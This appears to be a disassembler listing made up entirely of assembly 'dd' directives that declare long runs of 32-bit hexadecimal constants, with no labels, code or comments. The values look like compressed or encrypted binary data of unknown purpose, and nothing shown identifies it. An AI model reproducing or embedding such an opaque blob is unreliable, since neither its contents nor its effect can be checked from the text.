		dd 0B74312B7h, 7C49F341h, 1AB3E0Eh, 0B65E855Ch,	264A168Dh
		dd 0C9DE8FE9h, 0DB0B0DBh, 0FC3414DFh, 0E6EFDA40h, 64B7441Ch
		dd 11DE6217h, 898BC110h, 891409CEh, 74E13246h, 7957524Ch
		dd 145FA5FEh, 0DEFCB730h, 18368152h, 0E9F43766h, 43415928h
		dd 221C055Ah, 2F87F3F2h, 755FC2ACh, 0D83976E0h,	0F75C929Fh
		dd 1C711382h, 0C8419877h, 0F112957Fh, 1E13E057h, 0BE14D3ADh
		dd 4EC33C0Eh, 0AB098F85h, 0F55EABE3h, 0DC1089h,	76F25906h
		dd 2005090Ch, 150B088Bh, 524D604h, 8AC1DEF7h, 0DC3ADB3Ch
		dd 8326E91Bh, 0FE9F576Fh, 1F841870h, 0EC895A60h, 49F126C5h
		dd 5C974E26h, 16754A05h, 712929B5h, 556CA810h, 53129A0Eh
		dd 0AAF1DD34h, 54817F62h, 729AA7A7h, 585418E8h,	16B4D397h
		dd 2D99C0A1h, 6525035Eh, 82D6506Eh, 0C4D9E607h,	0AA188C62h
		dd 0E984DEB6h, 1754FCF9h, 180C525Dh, 9ED254Eh, 1ED236EFh
		dd 85BA8F5h, 2B09E904h,	2D60A96h, 4A4F5EB0h, 654C583h
		dd 7885D113h, 0FC213E2Dh, 109E9C28h, 0AD553DA0h, 8075019Bh
		dd 0E53B17EEh, 7D58D53Ch, 0AA9D1870h, 0B5FCCCB5h, 11FC27C6h
		dd 6805C196h, 98E34A62h, 662D0705h, 4C7EE1Eh, 138648B3h
		dd 0FDCBF347h, 0E59B12CDh, 9D2514Bh, 6102D392h,	643BAAE9h
		dd 6EF78BF4h, 42B93DA8h, 0D5602CEh, 8195B844h, 0D858A6EAh
		dd 9985E12Ah, 7C2D806Dh, 18F1FFDh, 36EFC24Ah, 884ACAC6h
		dd 9F4598E3h, 0D2F3E23Ah, 6804DCAFh, 4C55B52Dh,	0FB094DCFh
		dd 7545E569h, 7AA8BA01h, 27E0B48h, 0AC3C52A5h, 95CB7EE0h
		dd 5C00F69Bh, 3156BA5Dh, 15B4CDAh, 5E4B1220h, 402546A4h
		dd 6B48BE0Ch, 50352D92h, 717B9776h, 202F72CBh, 99A11F6Bh
		dd 79F8D844h, 0F4BD2F6h, 0E34AFBA6h, 6E716C0h, 731EEC85h
		dd 7DF88109h, 995F7722h, 0AF381549h, 1879D06Dh,	0C32D12Ah
		dd 0DF16078Ch, 3CBB5970h, 9F30E982h, 3FF13D2Dh,	6CA92D21h
		dd 0C687F474h, 6F104F2Ah, 0BC11E168h, 3BE860B6h, 0BEB81CF2h
		dd 9B087199h, 0EF80002Bh, 0FD88513Ch, 1178E8B7h, 0BA1CC0ABh
		dd 0C7A5320h, 0F3D78925h, 3DBD007Ah, 0E97D4FD2h, 30C80532h
		dd 0E847D55Bh, 6894DFADh, 0A70BFC5Ah, 4909715Ah, 52C80600h
		dd 0E9164ABBh, 0C4A94EEEh, 8446CBDEh, 68058251h, 1BAD14A4h
		dd 0F751558Bh, 275F71A5h, 7D4267F6h, 5B2D00DCh,	8F4A87E6h
		dd 0EC5F46FDh, 0F8BC2946h, 0EA2725BCh, 4E81006Ch, 64413D07h
		dd 0F1711F29h, 0A5F36FE5h, 0AA5AE394h, 82873F3Ch, 0F0B1D082h
		dd 0EA02800Ah, 0E1213370h, 0FC69D940h, 78D0F203h, 8DE350F4h
		dd 0E9E0A0F5h, 9EDDF530h, 3A805256h, 834BDFF3h,	9032D36Eh
		dd 7EF15E60h, 0C8CD60DEh, 0F0989E50h, 89E99B82h, 0F9703105h
		dd 0C78D9F34h, 78A76C80h, 0B55F5D57h, 17292A89h, 0E3A1D184h
		dd 8BBB3104h, 0BC938934h, 0F88F56C2h, 0EE87B03Eh, 1E932DE9h
		dd 0E8081168h, 0F9D1295h, 0DCA46D5h, 0C7BA20E7h, 0D3D935A2h
		dd 0FB4BED90h, 0F8FAF009h, 0BFD695F2h, 0BDD3925Ch, 811CED82h
		dd 5A027FFEh, 80710E30h, 8C789D94h, 0A5E91068h,	85BD0253h
		dd 57C69BE6h, 85E1DC2h,	214DC2Fh, 63433E7Eh, 48F8E41h
		dd 0F3790DFEh, 3E9D08E7h, 0BB419641h, 0AE056209h, 7E25A5F7h
		dd 0E27F7E92h, 0F3DDA2ECh, 6E494119h, 1CB2192h,	7E6F902Dh
		dd 5859F42Ah, 5AD11BC1h, 0CC3ACB01h, 9E3DE945h,	0EDCCCA0Bh
		dd 34AA4F7Ch, 0A8C21230h, 0B82EADFDh, 2195B7E8h, 58C708D4h
		dd 3DC0FC5Fh, 9FC8553h,	8D37D0F3h, 0BF19B324h, 1B6E65Ah
		dd 10EE1A8Eh, 1E6502E9h, 509D9A3Fh, 0ED5EBE1Eh,	6526958Ah
		dd 0CC63AEDCh, 0A024E97Fh, 96F38F9h, 51672B73h,	91C28DAh
		dd 5D683B67h, 0ED515778h, 54BE9608h, 27BD2680h,	40A1301Dh
		dd 444ECF32h, 0E4D4A33h, 2998A1CEh, 1964EEF4h, 6C01A85Bh
		dd 0F0C907ADh, 3ED9048Eh, 0EA5D7A72h, 0ADA92D65h, 0BB332C5Ah
		dd 0C62C3384h, 9C859CAh, 0FA4FB753h, 0FE2DA7F9h, 68DE83F7h
		dd 0E3AE85CCh, 0C0EECB28h, 2EEAD1E6h, 8AFC23Bh,	68058E6Bh
		dd 0A6371BF0h, 0B67E4080h, 0F6E92774h, 0C3A88A51h, 0D913085Fh
		dd 0C2B409BCh, 92D50685h, 1D175FDh, 0B07A5CF1h,	0D8031740h
		dd 0F7D78741h, 470826D2h, 448C0058h, 0EF834A35h, 68F8017Eh
		dd 87E6555Bh, 2BE50B07h, 0E9CFB0C0h, 0BA9F4F65h, 96C855D8h
		dd 3991647Eh, 4A07C02Fh, 0BDF028A6h, 4B8002E8h,	0D601390Dh
		dd 6CED2BC0h, 44B58B1h,	0B8941503h, 0E6110CA9h,	0DCE52FAEh
		dd 30B8029Dh, 0C37F6EBDh, 53C80061h, 0E925CB61h, 1B1027Ah
		dd 0F5185602h, 6763F75Dh, 517B3FF1h, 786D8BD0h,	3225CE2Fh
		dd 0C101C3F2h, 0F4B82E1Bh, 0D5982151h, 80D0176Ah, 3C74A143h
		dd 0A27EF929h, 72314208h, 72F60753h, 0B67BA57Ch, 6897BF75h
		dd 0A2CEE15Dh, 304075F7h, 6AE14456h, 85973AE9h,	0C7DB00B8h
		dd 12A3E91Bh, 42E35BC1h, 9E20E452h, 1FE0BF3h, 0AF4022DBh
		dd 2D807E8Ah, 24B137Dh,	41D5013Ch, 2E77BA6Fh, 40C205B0h
		dd 0CE482CF9h, 5B103871h, 2C568BBh, 18C98D94h, 0B0B353BBh
		dd 0D8C339A1h, 0DCB0EB99h, 0B0BE5719h, 70FFFAEDh, 16C8894Dh
		dd 0EB202779h, 30AD59F1h, 0AE02D47h, 365DE955h,	24524B5h
		dd 58E37F15h, 78FD1030h, 5181A65Dh, 2B252668h, 550D798Ch
		dd 0FE8268EEh, 3A88432Eh, 0B5392057h, 0C044B011h, 3F8E860Ch
		dd 3325E9F8h, 841E5984h, 0D263F268h, 0C0E492CFh, 0E97011BCh
		dd 8CB24BE2h, 0EA31687Eh, 0DD4D1D0Fh, 70800005h, 31506E9Ch
		dd 0CC5AF27Dh, 64EB3D40h, 0F630101Ch, 0BD0D7B0Bh, 0DB2DAC10h
		dd 88816F9Dh, 8A505F37h, 1B2C2DFEh, 0E910C164h,	0C740CC63h
		dd 35E06FFAh, 0A45897A0h, 822C0F2Eh, 99A86DF6h,	8A170879h
		dd 7F90439Ah, 2D6F601Ah, 4F5C4106h, 0BA274E80h,	28CA31E8h
		dd 0BCEF4A59h, 0C2018BFDh, 0EF8CED04h, 8B3912CBh, 0A5CDE85Eh
		dd 0B3E117FBh, 60979F71h, 0F4B9AC0h, 0E72CEF81h, 0AFF77481h
		dd 0B52F743Ch, 7E565527h, 23E2E0E3h, 2D0479F8h,	96D02E4h
		dd 1619C4BEh, 127B8A07h, 1FA9ED68h, 0ADFC9C2Eh,	9708467Eh
		dd 8C50147Bh, 330A2600h, 5310B81Dh, 315CC30Bh, 0C22302C8h
		dd 65BB0078h, 204EBC05h, 9087B9A1h, 0C5855815h,	12D7804Ah
		dd 274C9250h, 0AE1063D0h, 0D8A292C5h, 9FE97F89h, 24E01CCBh
		dd 0D8FBC40Bh, 1F3C36F5h, 60C6093h, 5BB1CE7Dh, 7D0F989h
		dd 2021FDEAh, 32BAFA95h, 0C4DF5789h, 0EA684C45h, 77DE899Eh
		dd 1518CB0h, 0E3C377C0h
		dd 0A44B0436h, 0D4459724h, 0DA16FD2Ch, 1A6326D1h, 0F1C4696Ch
		dd 348B04B4h, 474B8AA3h, 0E797B06Dh, 1B9AD316h,	0F54B7A50h
		dd 0F380EEBEh, 187B5BD3h, 65DD4889h, 0C6EA2919h, 0EC0E2F7h
		dd 0C62F3049h, 1373582Eh, 11DEF3Bh, 34F1FC9h, 0A0A42F74h
		dd 9C8B6B0h, 20FFE7D1h,	78CB797Eh, 15A8201h, 0F7A06F20h
		dd 360BF23Ah, 5038E302h, 0C0D29351h, 0BB535784h, 8F253F39h
		dd 0B938E052h, 1D060BFCh, 0CD8310Eh, 2EE63B35h,	2C36483h
		dd 135B90Ah, 0EEF218BDh, 0D8779369h, 0A3435515h, 957419F0h
		dd 0A0F6B32Eh, 799FCA42h, 0D505C00Bh, 72500F01h, 8885BF1h
		dd 45D0837Ah, 7D7A1469h, 44856C4Ah, 8B0B8DAAh, 9147ABEBh
		dd 4EE85933h, 0B0AE9009h, 0DEF701E9h, 0E5C1F587h, 50F33F07h
		dd 0BEEE40h, 14EF62EEh,	116E7E9h, 7A728094h, 99492D4Dh
		dd 578D41D1h, 0E17B8B8Ch, 13D43A8Ah, 6EAEAA82h,	0EC544FD7h
		dd 0CD09DE7Ch, 5130FE62h, 3C5CF45Bh, 95FE6B7h, 307F2138h
		dd 62B7EC96h, 8029831Ah, 3102BFFCh, 0EBF761F0h,	9F85283Bh
		dd 21747A04h, 0B7FF28E9h, 0D72A7B59h, 13A03CFBh, 5DEA62CFh
		dd 0BCBB831h, 0EA2C0AE9h, 0AD58283Dh, 39A74125h, 0B801D8E6h
		dd 619C0540h, 0FA99C47Bh, 0A366FC12h, 38E30B5Ch, 2E00417Bh
		dd 0D0B3F01Eh, 5B5B58F8h, 189474ACh, 897DEF4Bh,	29C9A268h
		dd 9778CEAh, 5099DE31h,	7D5284E9h, 3507019Fh, 10CF4667h
		dd 0E761DD4h, 512506BEh, 40246B43h, 0BB3452D8h,	0F5BE490h
		dd 0F8212806h, 0CB60B59Dh, 0BF0B5753h, 0FDDF6B6Ch, 0C81C322h
		dd 0BEE90E75h, 7F00F353h, 59C0C645h, 6FB40557h,	0C81A35E9h
		dd 3A1E9438h, 3B826910h, 753CE473h, 2DBFE702h, 0DFADDDD1h
		dd 7BF9CD93h, 0D2752956h, 0D7C01C17h, 9D5A0203h, 569DAB5Eh
		dd 0C53122F1h, 0E3B6E1CAh, 594F0D2Ah, 0A8AF2C27h, 347A4A68h
		dd 319DF34Ch, 0CA8868B1h, 72E9D7C8h, 3FFE97DDh,	0CFB77E49h
		dd 24CDF0C5h, 93E1BE6Eh, 788F8DAh, 0CA685250h, 0FF611411h
		dd 0BCF8872Dh, 5CEC0B3Ch, 0FFC126E9h, 0D5C03E55h, 9A1E6372h
		dd 1CD8B6C2h, 0F19EEC1h, 1A9108Bh, 89C90B6Bh, 0CDE17BB4h
		dd 104CCA6Eh, 12DC0E1h,	5E2DD9FBh, 1C6E2C03h, 1E80BA89h
		dd 682E9126h, 0C5A9115Fh, 0B5002F7Eh, 0D839F2BAh, 981754Ch
		dd 238827A5h, 223620FDh, 0C170E00Fh, 0B7052F1Ch, 46F7063h
		dd 1B7E12C0h, 36E90F32h, 0C2A4F7FDh, 0C28564Dh,	125AF180h
		dd 244E40DCh, 2DE6158h,	46AA5C31h, 1AC87509h, 52F0191h
		dd 3EE7C10h, 905CE953h,	595D3416h, 7AF886E1h, 0BE016212h
		dd 2D002CE5h, 7A652598h, 35552623h, 0C1E82CEh, 0AC850AEEh
		dd 881BAE5h, 546E29A6h,	0D112B6A4h, 0C48AE2A0h,	8DBBC03Ah
		dd 0CB6221B1h, 601BB2A1h, 3879708Bh, 0DB447E4Bh, 55028B33h
		dd 5579FE68h, 0D84516BFh, 39B176E4h, 0C15FD351h, 7505CCCh
		dd 17C8E5D0h, 0F1806D2h, 1938448Ch, 60AFF504h, 81EF3F2Ah
		dd 0DEC5C2h, 17E80548h,	8422836h, 5F00ED09h, 0BB43E22Dh
		dd 9569F641h, 79DF8B62h, 4A559F51h, 13040C9h, 5D1DE28Ch
		dd 0E4412131h, 1413BBE6h, 21FE3B19h, 72276C9Bh,	3950161h
		dd 800F04E3h, 498730C9h, 0F59179EBh, 1BE6C0C5h,	237CC036h
		dd 7C7EE101h, 0F2E91D65h, 58FA012Ah, 3F55595Ah,	0FC7F78E3h
		dd 8092944Dh, 3AB0DC03h, 9C90CD31h, 985A6B40h, 42240B63h
		dd 0C4556FD5h, 65E91ACEh, 52D7A22Bh, 0F229A0A3h, 0A93A1F1Eh
		dd 2DD0929Bh, 3FF47AD0h, 157817F6h, 17FF20Dh, 352B202Fh
		dd 122F05E9h, 0F902EAF2h, 0FE0114ACh, 0E95778CBh, 0C9376630h
		dd 251AA968h, 47F02E4Bh, 0B4E55B09h, 0F3225DD1h, 9B5D1B0Ch
		dd 0F1C7C937h, 12FAA26Bh, 9D91A268h, 0F5F7F2E2h, 0FDD3D7F7h
		dd 553C895Bh, 48B71E46h, 96165465h, 297EC2B7h, 9A92AEC6h
		dd 0F2C4F6B5h, 66645FDh, 5B5F17E9h, 4EAAD51h, 10F3BE86h
		dd 8BBAC02Eh, 0A2CCF6FCh, 6F4D6AF8h, 0C1FE12F7h, 0C0DD805h
		dd 0D6064FBAh, 0E1968324h, 0F80520FEh, 0B9FB00BDh, 6F682038h
		dd 7A62942Fh, 51603AC1h, 55994207h, 7E92C202h, 40734226h
		dd 5B3AF030h, 0DC591059h, 4671DE20h, 0D8B5C498h, 387603D4h
		dd 9335562Eh, 40530BA0h, 48597CB0h, 9A72D50h, 0ED1E803Ch
		dd 5AF01D24h, 40C3A903h, 68155808h, 50782619h, 6C09D30Fh
		dd 0C8596F97h, 2785405h, 870F1FB0h, 0C54BAC8h, 2A802BFh
		dd 0C0D9293Ah, 81CA3FF4h, 2BB86B57h, 0C7DD518Bh, 85A2A720h
		dd 9A5C6DC2h, 34516861h, 54C4003Ch, 0BFAFD108h,	4BA463F3h
		dd 0A9C0B5D2h, 0C00476BAh, 557357F1h, 0CF890B05h, 12AE32E9h
		dd 0A26CEB31h, 0F20525E9h, 0D1E711FCh, 0D1C83C9h, 5F618A16h
		dd 7DFAD2C6h, 0AE9F1766h, 0DC6D88C6h, 0B16ABC4Ch, 99BBDA13h
		dd 0EA0C5036h, 223742Eh, 0F50D7CADh, 1F2EE160h,	0E07E0141h
		dd 210043A8h, 0DBF75B34h, 1D83E381h, 8F276736h,	46A107F3h
		dd 5039E903h, 6C146897h, 91851895h, 6D96054Ch, 0BE1278E9h
		dd 6468B830h, 0E016AB72h, 0E80D54BDh, 28D57787h, 606D2F7h
		dd 1B850F4Dh, 450C4327h, 0FEC03E9h, 0B6B20A5Bh,	2EDC565Dh
		dd 0C729001Bh, 5EFC158h, 9BCF8103h, 0B765D410h,	0DF30D791h
		dd 9DFE01D8h, 0F9977416h, 0E15C120Dh, 5DE67B56h, 85CEB692h
		dd 6F5359F4h, 33A09D02h, 0BA77F4Ch, 98653381h, 0BAD9255Eh
		dd 9568D603h, 59BCA098h, 347E3F15h, 0E08859A8h,	0B309350Eh
		dd 825C2603h, 0DF696516h, 788ED0A1h, 8BA2EF29h,	2BDB2977h
		dd 514F5561h, 46896806h, 16675FCBh, 0CD8BB9Ah, 0F0BA41ADh
		dd 5E7CB768h, 9C82969Ah, 7175726Ah, 0CBE94FFAh,	0D69BFAD6h
		dd 1A24C904h, 24CF297Eh, 9BF6791h, 0A5E5FD14h, 0A838D96Bh
		dd 0E4C2008h, 0F4EC160h, 92BCD288h, 51BA31A3h, 364925E3h
		dd 1A152E10h, 0D613688Eh, 0EE5B91A2h, 0D1C0ED24h, 58EE1E5Ch
		dd 71099E19h, 27D5E74h,	7FB179C8h, 3843198h, 6DB0BBD7h
		dd 0B05006F7h, 0E2753458h, 0EDF3C062h, 0D898C202h, 2AB0B5F9h
		dd 0C14EABE9h, 41910828h, 0C64560B8h, 0E78ABAB4h, 933FEF02h
		dd 0A6140A25h, 689D2F1Ch, 16B6286Eh, 0F850107Fh, 0A09A1CB7h
		dd 20761C2Fh, 5B5AB342h, 36B741A8h, 0F33F3BA7h,	6FC49EA0h
		dd 162006CCh, 1DE16BDh,	43EC0955h, 0D1B568D0h, 0B687C7FDh
		dd 0E92F064Bh, 666D84ECh, 560E88AAh, 348FFF45h,	0EB445455h
		dd 8AEDF009h, 78B69E22h, 26C03EAh, 0B973E91Ch, 0EBB3AB85h
		dd 31C8EFD3h, 2C3E600Eh, 275D86BAh, 4C9E0B59h, 7B85049Ah
		dd 21824FC7h, 26C5982h,	278A2ECBh, 4B8242D7h, 0B364ACBh
		dd 0BA62B257h, 0A10B458Fh, 5493537Bh, 0A97D27B1h, 38B55100h
		dd 5339C580h, 0F6D7B71Ch, 4AF71EBCh, 0CBE3CFCFh, 93B082C7h
		dd 602D00C4h, 905AD0F3h, 3815FB0h, 453918F7h, 0D79CE94Dh
		dd 0BFD85242h, 2FE1C949h, 54A913F0h, 128CD1C3h,	0A8310304h
		dd 285F05A8h, 11B86759h, 0B7EF5E2Ah, 0AD74DDB8h, 4A1682A7h
		dd 824379B8h, 85ACA218h, 7BBDE582h, 3A2C8B74h, 0B1873C85h
		dd 0A6817AF7h, 0B27AEBBDh, 2C48DF59h, 860F0126h, 6C011AF1h
		dd 0CE01B5F0h, 0CA20E7Dh, 28A18670h, 71C3F55Bh,	0FCDB95A4h
		dd 3C788608h, 5D2D0B48h, 12C5D19h, 8000B0BBh, 0C3E6F5F6h
		dd 0F3489770h, 0E5B475E5h, 3A6E488h, 0D2F602B2h, 804AE8C9h
		dd 2D2C2A13h, 1F6FB652h, 0D46ECE80h, 0FA4BC0EDh, 58C01973h
		dd 7916976Fh, 0D0B4AC70h
		dd 4756F13h, 1FA64088h,	98C42D59h, 0DEEB8821h, 0A7E79C05h
		dd 2A88D189h, 0FD526566h, 75F6AA14h, 5301397Fh,	0B85B6192h
		dd 0D5FCC54Dh, 0D3428DEFh, 2ADCCCE2h, 818FB609h, 0DEF68243h
		dd 0D0500A85h, 0ED0984EEh, 4D235E4h, 4DFE1C01h,	50602BB2h
		dd 8462BEA6h, 867D1EEAh, 0F70C0C12h, 0C276DD20h, 5FDE1892h
		dd 84A0CBBh, 74974073h,	2584C3E5h, 0BD552E88h, 7328560Bh
		dd 23300962h, 58F9309Dh, 32AAFCEh, 51BD0CF5h, 0ED703D23h
		dd 33289518h, 82E55834h, 0B76EE07Dh, 0FE2EC7B5h, 0C209EEC7h
		dd 12A4C4F4h, 0DBFD26BDh, 59F15E97h, 7BCBD92Eh,	58A0BCECh
		dd 0AC4BDDE9h, 890E634Fh, 997EC037h, 0AF62D2BEh, 0FD5B672Ah
		dd 0B0E9B041h, 0A1109DC5h, 0B1251F51h, 7C5880Ah, 0FF965D27h
		dd 5E76FB01h, 2DB2055Dh, 0F83A6A68h, 0E35807D1h, 9FA4BE9h
		dd 0A7DC5D5Ah, 2D1B445Ah, 8438F963h, 101D5205h,	0F54E77B1h
		dd 0FF212B53h, 3A077908h, 50FC11D1h, 6C9C00B8h,	0DB0D4AEDh
		dd 30EB0F54h, 395BCA34h, 0F7081842h, 0CC4861D8h, 89E4162Ah
		dd 992A3ADDh, 0C569D34Eh, 0DA0104FCh, 5A43E2AFh, 0C38026F9h
		dd 58FD4373h, 81527297h, 646B5A08h, 5812FBFDh, 0C13AD9A1h
		dd 218D3FFh, 0A797D5Fh,	75BC29C9h, 0B5F25E98h, 855B7BB7h
		dd 987D4468h, 0C8606FCBh, 771CBD26h, 553F249Bh,	7E3B8302h
		dd 0E0201A58h, 0B91CEA8Ch, 0B35307E5h, 65DD07A8h, 14DE35Bh
		dd 5095B252h, 0E3C9D488h, 1486E0A4h, 162DECB8h,	0F27339D6h
		dd 5EABC82Bh, 12A4A431h, 0E67D1668h, 0A5E2D318h, 0DA77FF86h
		dd 0F920B82Dh, 4AC88CBBh, 78D68361h, 60F565FCh,	11F4E94Ch
		dd 91C223C0h, 2F62E35Ah, 98D7D329h, 0C40227D1h,	752A5C7h
		dd 90D1D8F6h, 0E021C288h, 0ED1036D5h, 0AB0F1ECCh, 0AE504532h
		dd 80B5D2B5h, 70109145h, 55DC46F6h, 0B4562028h,	68743416h
		dd 1F98C242h, 0E5785DEFh, 46E512C1h, 0AAE73AB5h, 0E4414003h
		dd 67D9275Ah, 4655ED0Fh, 388F2758h, 0D91904B2h,	685601B4h
		dd 7438573Eh, 0BDF716C5h, 0A8C8DE1Fh, 0EC6804CCh, 0C9BBA85Eh
		dd 258BF09Bh, 3CF7C329h, 3D1431E3h, 62EF280Ah, 0B9F81939h
		dd 32D8598Ch, 24838266h, 64A43C1h, 39BAA8F1h, 1A7164AFh
		dd 0F089161Fh, 27434C49h, 66035E9h, 0F6BD3C87h,	0CC7F5ABBh
		dd 3A99029h, 1B590C76h,	0B197ABFh, 5EA5F729h, 29F2657Dh
		dd 8D8E67FFh, 3D8C22B7h, 0DEB41031h, 0F2B0AD2Fh, 555A4945h
		dd 0ADAB3F1h, 9CBF0479h, 2E2B813Fh, 0D1B37BE3h,	0C05AED94h
		dd 0C02C59D7h, 0F55FCB90h, 92F40BDh, 29A7E143h,	0C0B39F83h
		dd 0C8D9BE85h, 0A559B86Ah, 0A9B7FC04h, 3BC1E0EBh, 0F8DBE91Ch
		dd 0E69E772Fh, 24B3AE20h, 0FB4FE01h, 254410B4h,	0C4F3EA5Fh
		dd 0E044E985h, 0F734587Eh, 63F164DFh, 0A0E8103Bh, 0A985CA4Ch
		dd 5CC0FA7Ah, 284716CDh, 1EDD28E6h, 24C95439h, 2853F81h
		dd 8129674Ch, 75EAD1h, 5411685Ch, 0BC21C93Ah, 96183DC6h
		dd 27BA150Bh, 0C54C0BCDh, 8023853Eh, 0DA35D226h, 0FA011502h
		dd 0DB9005E9h, 23840C11h, 564CC93Dh, 9900D361h,	0CA95E82h
		dd 65A82E68h, 995B65CCh, 31813F96h, 0FC48466Ch,	0DD01163Dh
		dd 65630440h, 80FE126Ah, 7C32A433h, 4AEA084Eh, 399E5FFFh
		dd 1208D734h, 0A9200985h, 842FA304h, 557F9B1h, 8D0FA4C1h
		dd 0AE0DD5FEh, 6F7FB22Ch, 0AE16D18Fh, 0C42A5012h, 1A016809h
		dd 511ECF59h, 2A7EDF42h, 25E2D04Fh, 0B3C852E9h,	21882C6h
		dd 0A40C6E9Ch, 64F2D37h, 8831672h, 68140C40h, 9573D731h
		dd 4981F244h, 0B11D3BEAh, 0E0F1EC2Ch, 0FCB82BE1h, 3792E9F0h
		dd 4CD1F1B5h, 18B70BA8h, 0E4533C6Bh, 9C70955Fh,	791F6EEh
		dd 66948A8h, 2749748Bh,	15EEB464h, 0F9C9CEBDh, 0A9EB0415h
		dd 0E520AA30h, 893F028Fh, 40EC753Eh, 616C7418h,	3050382Dh
		dd 2563F129h, 26C8982Eh, 0FCBD5452h, 86717A54h,	0CB685BE0h
		dd 0CE46B77Ah, 2A76BF03h, 0EEBD6C07h, 99C0BD0Bh, 842E4E17h
		dd 2D0FB07Fh, 3174C20Ch, 3F3157C3h, 2D053CD7h, 7B9F825h
		dd 677C3559h, 49945C06h, 64DD6B17h, 85050BEh, 0DA058E58h
		dd 0B312ED68h, 183D640Fh, 5AE1E50Eh, 4EA2944h, 2A2D0816h
		dd 99596726h, 80966A1h,	1FDEB2FCh, 7B35C480h, 1D21B6A4h
		dd 885A85F4h, 287321E5h, 307630ECh, 0F62C72B8h,	2714A1DBh
		dd 2EBA7F8h, 53290F3h, 189D0157h, 7E7B0E37h, 823E5A04h
		dd 0E023A816h, 4A1347E9h, 120EF701h, 63AB5BD9h,	0EED4F2C5h
		dd 698984D8h, 2D51C07h,	55302955h, 7A95B6E6h, 5508822Bh
		dd 0B92C3BEBh, 0E9D0705Ah, 755863BEh, 0EE850294h, 0B0EE3D65h
		dd 34BA5539h, 0BF4E5E24h, 29023200h, 0FEF38910h, 0F4B95F8Eh
		dd 592453DCh, 70036907h, 0B0401E72h, 301CB0E1h,	0C40C4B48h
		dd 430DEC3Ah, 0C787CBE9h, 0F2230CD4h, 0B7CA900Eh, 582C3200h
		dd 9B96F828h, 93EB9708h, 0B1C507F2h, 0ACCFB4EEh, 0C55A7B89h
		dd 5CDE3CAAh, 0C878575Eh, 0BAF05A88h, 0F5F9BC2Dh, 6812332Ch
		dd 0D62BBC95h, 5E0BAE01h, 0D2603DE6h, 4651B7FFh, 58E11D39h
		dd 8321CE57h, 3C8161AAh, 62639ABBh, 9C12200Fh, 6D314405h
		dd 0F9535BE9h, 2E26CBA0h, 17277C16h, 1ADE65ACh,	0D960F0ABh
		dd 0F87A88F2h, 0C405934Bh, 0D0A8D331h, 17534E74h, 9352FF07h
		dd 2A858380h, 7C0B606Dh, 53DE6CF6h, 678B015Fh, 30C97359h
		dd 2C68C0A2h, 5BD636CAh, 6584E950h, 0AF0B0AB7h,	0D48DCB83h
		dd 410A6802h, 0E5DF64ABh, 109A689Dh, 0B151033Dh, 0A7E18010h
		dd 132F133h, 0C9FE290Ch, 20E3B450h, 0F4FC81F4h,	25E90C1Fh
		dd 0B9DFE825h, 1773D38h, 9639A500h, 0BC800F06h,	0ED2DA4A8h
		dd 29173003h, 18B3BDE9h, 0B8AF3AC9h, 6C127EB9h,	680E32F5h
		dd 223CFC0h, 0C4BAA1E9h, 52EC0F9Ch, 4D662EDCh, 0BB0416E0h
		dd 77834727h, 0F3447287h, 6EB66802h, 51E9307Dh,	6C2F19B9h
		dd 78B640BFh, 90522734h, 0B055AFBh, 6CB07969h, 79C08DFh
		dd 25777827h, 0C55AB74Fh, 1D5E995h, 4CBFF62Ah, 0E95109BDh
		dd 0EAA17016h, 0AAE6BCAh, 62AAC4FFh, 572915C0h,	68CC9E56h
		dd 24BCB48Fh, 1D7D2D23h, 0DBE91E2Fh, 0E8B1D7A6h, 0DAB5071Ch
		dd 81124CB8h, 1632BE44h, 13C75B5Bh, 0D75EB843h,	0C274AE8h
		dd 10099573h, 71586619h, 75A2978Ah, 0CE414D06h,	0FE13A5DBh
		dd 70C31F20h, 5C0F6BFh,	0C74BC30h, 0BF8FC01h, 935CE930h
		dd 0FCD69C5Fh, 46D65C1Eh, 0A82CFFF4h, 4657128Eh, 0D67DB832h
		dd 0E947E502h, 0C6205DBCh, 0A657D8B9h, 0EA9D0798h, 0AE4160E0h
		dd 0DEE91226h, 0C93CE4CAh, 35DAEC05h, 17F9D101h, 5D70E983h
		dd 28CDFF85h, 0F108ABE8h, 2C12726Eh, 4C7EC500h,	14049D20h
		dd 0C34E802h, 0D160548Ah, 4FC01F5h, 0E9897ECEh,	8439968Bh
		dd 6B9A1A22h, 44F2D19Ch, 0EEC6303Fh, 775E862Ch,	737699B0h
		dd 39E91A1Fh, 30805BFFh, 32F41360h, 2553593Fh, 0ECEBA8ADh
		dd 0A5FFD6AFh, 5012F3D3h, 0A95FD1BCh, 59EEC0E0h, 954FFA06h
		dd 80C7FEAh, 2A12E10Ch,	741C0BABh, 39FA01D6h, 315AFCB1h
		dd 0DC2B9A97h, 0E9095696h, 0E5010A53h, 0C7FBB86h, 0DF4EF206h
		dd 1F3B8040h, 10EACE43h, 0E9090828h, 2AA7DA37h,	0C37201F7h
		dd 7BD68057h, 1623307h,	0F561B5FEh, 13A87395h, 0CBBA14F7h
		dd 20EA4E26h, 0F7BBE933h, 0DF1CF991h, 50F47E4h,	0A30F1354h
		dd 0F531835Fh, 0EF21E85Eh, 0A423C65Dh, 0F7100A37h, 0E9261FD3h
		dd 0C10A3398h, 376161E2h
		dd 0F81BBFF9h, 5524638Bh, 82759C8h, 510F4C3h, 0E35E4068h
		dd 27011370h, 0BD5FB7F2h, 0A2D5977Fh, 99638BFEh, 0E22B54EAh
		dd 0C2BECBEFh, 3A484160h, 595AB452h, 622EBE15h,	1C7FAD46h
		dd 9F2631F4h, 0A5554614h, 0DDB00B0Eh, 0F2255845h, 0FDEC2773h
		dd 0F2643ADEh, 3C4A52FCh, 7D411761h, 0FCC3A46Ah, 48A56D16h
		dd 30E9C8B0h, 0BF207174h, 0B0484342h, 0CC5E261Bh, 2216D7ACh
		dd 0EA32D4EBh, 2D7BB5A5h, 13667A2Ch, 0F251B70Eh, 0F542E9C3h
		dd 0A2C545ECh, 578D7249h, 7D6FEE55h, 80B840E9h,	7CBDEF2Fh
		dd 85983DB9h, 0C4F11734h, 3BA82EE1h, 0C397A73Ch, 0AF330CC5h
		dd 51EC223h, 828BD588h,	75C79ADCh, 0E9415659h, 882A7AD8h
		dd 6F16878Eh, 84BA1676h, 0B30812C8h, 0C5582DB7h, 176E853Eh
		dd 68640201h, 1AF771D7h, 112E615Fh, 5FBE5600h, 5CDD1900h
		dd 9C7F6DBDh, 0F529046Eh, 0E4B06BE9h, 0D30598A5h, 0DE018C8Bh
		dd 0D3F4B038h, 268E81BBh, 0CC198DE2h, 13617BF8h, 0D4C0863h
		dd 718CEE00h, 0CE0172A9h, 8800AB0h, 557090E9h, 50C58DB4h
